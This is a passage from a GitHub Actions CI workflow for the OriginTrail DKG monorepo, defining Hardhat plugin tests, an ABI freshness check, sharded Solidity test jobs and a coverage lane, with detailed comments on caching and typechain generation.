--filter @origintrail-official/dkg-mcp \
--filter @origintrail-official/dkg-network-sim \
--filter @origintrail-official/dkg-graph-viz \
--filter @origintrail-official/dkg-adapter-elizaos \
--filter @origintrail-official/dkg-adapter-hermes \
--filter @origintrail-official/dkg-adapter-openclaw \
run test
# ------------------------------------------------------------------
# Hardhat-backed Kosava lane — `random-sampling` and `kafka-plugin`.
# These two packages were never run by any CI job (#955), so broken
# tests in them (e.g. the rc.12 `knowledgeAssetsAmount == 1` contract
# gate that #956 fixes) shipped unnoticed. They can't ride in the
# `kosava-supporting` lane above because both spawn a REAL Hardhat
# node via the shared `../chain/test/hardhat-global-setup.ts`
# (hardhat-harness deploys with `hardhat.node.config.ts`) on every
# vitest run — that needs the Solidity artifacts the shared `build`
# deliberately skips (DKG_SKIP_EVM_BUILD=1). So they get their own
# lane with an explicit compile step, mirroring the node-ui e2e lane.
# No mocks: real contracts, real chain.
# ------------------------------------------------------------------
kosava-hardhat-plugins:
name: "Kosava: random-sampling + kafka-plugin (real Hardhat)"
needs: build
runs-on: ubuntu-latest
timeout-minutes: 20
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4.3.0
with:
name: build-outputs
path: /tmp
- name: Restore build outputs
run: tar -xzf /tmp/build-outputs.tgz
# The shared build skips the Solidity compile (DKG_SKIP_EVM_BUILD=1),
# so the artifacts the Hardhat globalSetup's `hardhat deploy` needs
# aren't present. Compile them HERE — same config the harness deploys
# with — in a dedicated, observable step so the globalSetup reuses
# cached artifacts and a compile failure is localised here rather
# than buried inside a test timeout.
- name: Compile EVM contracts (for the Hardhat globalSetup)
run: pnpm --filter @origintrail-official/dkg-evm-module exec hardhat compile --config hardhat.node.config.ts
- name: "random-sampling tests (real Hardhat, no mocks)"
run: pnpm --filter @origintrail-official/dkg-random-sampling test
- name: "kafka-plugin tests (real Hardhat, no mocks)"
run: pnpm --filter @origintrail-official/kafka-plugin test
# ------------------------------------------------------------------
# ABI freshness gate — guards the contract `auto-update.ts` deliberately
# never invokes `hardhat compile` on node hosts (would OOM small VPS,
# cold-solc on ARM64 trips the build timeout). It relies on the
# COMMITTED `packages/evm-module/abi/*.json` being the runtime
# contract surface (consumed by `packages/chain` via require()).
#
# This job catches the only way that contract can break: a contributor
# changes a `.sol` file and forgets to commit the regenerated ABIs.
# Runs only when `changes.outputs.contracts == 'true'` so PRs that
# don't touch contracts pay zero cost. On failure prints an explicit
# remediation command so the fix is one copy-paste away.
# ------------------------------------------------------------------
abi-freshness:
name: "Tornado: ABI freshness (committed abi/ vs hardhat compile)"
needs: changes
runs-on: ubuntu-latest
timeout-minutes: 10
if: needs.changes.outputs.contracts == 'true'
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Cache Hardhat artifacts
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
packages/evm-module/artifacts
packages/evm-module/cache
packages/evm-module/typechain
# Hash both configs because abi/ regen depends on hardhat.config.ts
# (which is what loads hardhat-abi-exporter; see the next step).
key: hardhat-${{ runner.os }}-abi-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.config.ts', 'packages/evm-module/hardhat.node.config.ts') }}
restore-keys: |
hardhat-${{ runner.os }}-abi-
hardhat-${{ runner.os }}-
- name: Compile contracts with the default config (regenerates abi/*.json)
# Subtle: `pnpm --filter dkg-evm-module build` ultimately calls
# `hardhat compile --config hardhat.node.config.ts`, which does NOT
# have `hardhat-abi-exporter` wired in. Only the default
# `hardhat.config.ts` imports the plugin and sets `abiExporter:
# { runOnCompile: true, ... }`. Running `npx hardhat compile`
# without a `--config` flag (so it picks up the default config)
# is what actually regenerates `abi/*.json`. Without this, the
# diff check below would always pass even with stale ABIs.
run: npx hardhat compile
working-directory: packages/evm-module
- name: Verify committed abi/ matches regenerated abi/
# `git diff --exit-code` returns 1 if anything under abi/ changed
# after compile. If so, the contributor forgot to commit the
# regenerated ABIs; the auto-updater would then activate code
# that loads stale ABIs against new contracts. Block the PR.
run: |
set -euo pipefail
if ! git diff --exit-code -- packages/evm-module/abi/; then
echo "::error title=ABI drift::Committed packages/evm-module/abi/*.json does not match the output of \`hardhat compile\` (default config)."
echo ""
echo "The auto-updater no longer runs hardhat compile on node hosts (see comment in packages/cli/src/daemon/auto-update.ts), so committed ABIs ARE the runtime contract surface. Drift here would silently activate stale ABIs against new contracts on every node."
echo ""
echo "To fix: regenerate and commit the ABIs locally:"
echo ""
echo " cd packages/evm-module && npx hardhat compile && cd -"
echo " git add packages/evm-module/abi/"
echo " git commit --amend --no-edit # or a fresh commit, your call"
echo " git push --force-with-lease"
echo ""
exit 1
fi
echo "OK: committed packages/evm-module/abi/ matches hardhat output."
# ------------------------------------------------------------------
# Tornado Solidity lane — `packages/evm-module` is TORNADO-tier
# (`dkgv10-spec/CRITICALITY_CATEGORIZATION.md` §1): bugs in the
# contracts mean financial loss or consensus divergence.
# - PR + no contract changes : no-op fast pass (keeps the required
# check green without spinning up Hardhat).
# - PR + contract changes : 4-way sharded hardhat test, no
# coverage (~5-6 min per shard in
# parallel; previously ~20 min single).
# - push (main / v10-rc / …) : full coverage + ratchet safety net,
# single job (coverage reports don't
# compose across shards, so we keep
# the safety-net job unsharded).
# ------------------------------------------------------------------
solidity:
name: "Tornado: Solidity [${{ matrix.shard }}/4]"
needs: changes
runs-on: ubuntu-latest
timeout-minutes: 15
# PR lane only — sharded 4 ways. Push lane runs the separate
# solidity-coverage job below (full coverage + ratchet check).
if: github.event_name == 'pull_request'
strategy:
fail-fast: false
matrix:
shard: [1, 2, 3, 4]
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- name: Skip — no contract changes on this PR
if: needs.changes.outputs.contracts != 'true'
run: echo "::notice::No contracts/*/test/hardhat changes detected — skipping Solidity shard ${{ matrix.shard }}/4. Full coverage still runs on push to main/v10-rc."
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
if: needs.changes.outputs.contracts == 'true'
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
if: needs.changes.outputs.contracts == 'true'
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
if: needs.changes.outputs.contracts == 'true'
run: pnpm install --frozen-lockfile
- name: Cache Hardhat artifacts (NOT typechain)
if: needs.changes.outputs.contracts == 'true'
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
# `packages/evm-module/typechain` is INTENTIONALLY omitted.
# Caching typechain bindings caused ghost failures in CI:
# `rm -rf typechain && npx hardhat typechain` would run
# against a restored `cache/` (so hardhat-typechain thought
# the artifacts hadn't changed since the last typechain
# generation, even though we'd just wiped the output) and
# silently produce no bindings — or worse, bindings that
# didn't match the actual artifact ABIs. Shard 2 tests
# (`KnowledgeAssetsV10-ciphertextCommitment` /
# `RandomSampling-curated`) hit `Error: no matching fragment`
# on `createContextGraph` despite local runs being green on
# the same commit. Always regenerating from scratch (~10s
# overhead per shard, see Generate TypeChain step below)
# makes the binding-vs-ABI invariant non-cacheable and kills
# the entire failure class.
path: |
packages/evm-module/artifacts
packages/evm-module/cache
# NO restore-keys fallback. Previously a `hardhat-Linux-` fallback
# would grab a snapshot from a sibling branch with a different
# contract surface (e.g. integration's 8-arg `createContextGraph`
# vs PR #630's 9-arg). Hardhat then preserved the stale artifacts
# for unchanged-on-paper files, and `typechain` regenerated from
# those stale artifacts — yielding bindings with the wrong
# signature. Tests failed with `no matching fragment` even though
# the on-disk contract source matched the test call shape. A
# full cache miss + fresh compile (~90s for 97 contracts) is the
# right tradeoff over hours debugging cross-branch ghost failures.
key: hardhat-${{ runner.os }}-${{ hashFiles('packages/evm-module/contracts/**/*.sol', 'packages/evm-module/hardhat.node.config.ts') }}
- name: Compile contracts
if: needs.changes.outputs.contracts == 'true'
run: npx hardhat compile --config hardhat.node.config.ts
working-directory: packages/evm-module
- name: Generate TypeChain bindings (always fresh)
if: needs.changes.outputs.contracts == 'true'
# Typechain is never cached (see Cache Hardhat artifacts step),
# so the output dir is always empty here on a cache hit and
# we generate from scratch against the artifacts that were
# either restored from cache or freshly compiled above.
#
# `hardhat.node.config.ts` deliberately doesn't load
# `@typechain/hardhat` (the test runner uses it for faster
# boot). The default `hardhat.config.ts` does load it, which
# is why `npx hardhat typechain` here uses the default config.
# The `--show-stack-traces` flag is for debugging visibility
# if the silent-no-op recurrence ever happens again.
run: |
set -euo pipefail
rm -rf typechain
npx hardhat typechain --show-stack-traces
# Sanity check: bindings must include the `createContextGraph`
# function fragment from `ContextGraphs.sol`. If this grep
# fails, the typechain output is wrong and we want a loud
# failure here, not 20 lines down in mocha output.
if [ ! -f typechain/contracts/ContextGraphs.ts ]; then
echo "::error::typechain/contracts/ContextGraphs.ts missing after \`hardhat typechain\`"
exit 1
fi
if ! grep -q "createContextGraph: TypedContractMethod" typechain/contracts/ContextGraphs.ts; then
echo "::error::typechain ContextGraphs bindings missing createContextGraph method"
sed -n '1,40p' typechain/contracts/ContextGraphs.ts
exit 1
fi
working-directory: packages/evm-module
- name: "Hardhat tests (shard ${{ matrix.shard }}/4)"
if: needs.changes.outputs.contracts == 'true'
# Round-robin distribute the 48 .test.ts files across 4
# shards. `sort` gives deterministic ordering so the same file
# always lands in the same shard across runs — makes failure
# reproduction trivial. Hardhat accepts multiple positional
# file paths as `hardhat test FILE1 FILE2 ...`.
run: |
set -euo pipefail
cd packages/evm-module
mapfile -t FILES < <(find test -type f -name '*.test.ts' | sort)
SHARD_FILES=()
SHARD_ID=${{ matrix.shard }}
for i in "${!FILES[@]}"; do
if (( (i % 4) + 1 == SHARD_ID )); then
SHARD_FILES+=("${FILES[$i]}")
fi
done
echo "::group::Shard ${SHARD_ID}/4 — ${#SHARD_FILES[@]} files"
printf ' %s\n' "${SHARD_FILES[@]}"
echo "::endgroup::"
npx hardhat test --network hardhat --config hardhat.node.config.ts "${SHARD_FILES[@]}"
env:
NODE_OPTIONS: --max-old-space-size=8192
# ------------------------------------------------------------------
# Tornado Solidity coverage lane — safety net on push to main/v10-rc
# only. Full Solidity suite + solidity-coverage + coverage ratchet.
# Not sharded because solidity-coverage's instrumentation state
# doesn't compose across parallel runners. Wall-clock on push is
# not on the critical path so ~20-25 min here is acceptable.
# ------------------------------------------------------------------
solidity-coverage:
name: "Tornado: Solidity coverage (push safety net)"
needs: changes
runs-on: ubuntu-latest
timeout-minutes: 45
if: github.event_name != 'pull_request'
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4.3.1
with:
persist-credentials: false
- uses: pnpm/action-setup@b906affcce14559ad1aafd4ab0e942779e9f58b1 # v4.3.0
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0
with:
node-version-file: .nvmrc
cache: pnpm
- name: Install dependencies
run: pnpm install --frozen-lockfile
- name: Cache Hardhat artifacts
uses: actions/cache@0057852bfaa89a56745cba8c7296529d2fc39830 # v4.3.0
with:
path: |
packages/evm-module/artifacts
packages/evm-module/cache